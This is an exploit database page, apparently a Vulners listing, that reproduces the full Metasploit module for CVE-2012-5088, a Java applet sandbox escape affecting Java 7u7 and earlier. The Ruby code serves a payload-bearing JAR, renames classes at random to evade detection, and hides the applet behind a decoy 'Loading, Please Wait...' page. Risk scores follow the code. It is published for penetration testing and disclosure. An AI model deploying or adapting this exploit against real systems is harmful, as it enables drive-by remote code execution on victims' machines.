Java Applet Method Handle Remote Code Execution
🗓️ 16 Oct 2012 00:00:00Reported by Unknown, juan vazquez <[email protected]>Type 
metasploit🔗 www.rapid7.com👁 49 Views
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
# include Msf::Exploit::Remote::BrowserAutopwn
# autopwn_info({ :javascript => false })
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Java Applet Method Handle Remote Code Execution',
'Description' => %q{
This module abuses the Method Handle class from a Java Applet to run arbitrary
Java code outside of the sandbox. The vulnerability affects Java version 7u7 and
earlier.
},
'License' => MSF_LICENSE,
'Author' => [
'Unknown', # Vulnerability discovery at security-explorations.com
'juan vazquez' # Metasploit module
],
'References' => [
[ 'CVE', '2012-5088' ],
[ 'OSVDB', '86352' ],
[ 'BID', '56057' ],
[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ],
[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
],
'Payload' => { 'Space' => 20480, 'DisableNops' => true },
'Targets' => [
[
'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
],
[
'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[
'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86
}
],
[
'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2012-10-16',
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
end
def setup
path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-5088', 'Exploit.class')
@exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-5088', 'B.class')
@loader_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }
@exploit_class_name = rand_text_alpha('Exploit'.length)
@exploit_class.gsub!('Exploit', @exploit_class_name)
super
end
def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")
case request.uri
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
jar.add_file('B.class', @loader_class)
metasploit_str = rand_text_alpha('metasploit'.length)
payload_str = rand_text_alpha('payload'.length)
jar.entries.each do |entry|
entry.name.gsub!('metasploit', metasploit_str)
entry.name.gsub!('Payload', payload_str)
entry.data = entry.data.gsub('metasploit', metasploit_str)
entry.data = entry.data.gsub('Payload', payload_str)
end
jar.build_manifest
send_response(cli, jar, { 'Content-Type' => 'application/octet-stream' })
when %r{/$}
payload = regenerate_payload(cli)
if !payload
print_error('Failed to generate the payload.')
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource + '/', '')
end
end
def generate_html
html = %(<html><head><title>Loading, Please Wait...</title></head>)
html += %(<body><center><p>Loading, Please Wait...</p></center>)
html += %(<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">)
html += %(</applet></body></html>)
return html
end
end
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16 Oct 2012 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 210
EPSS0.78696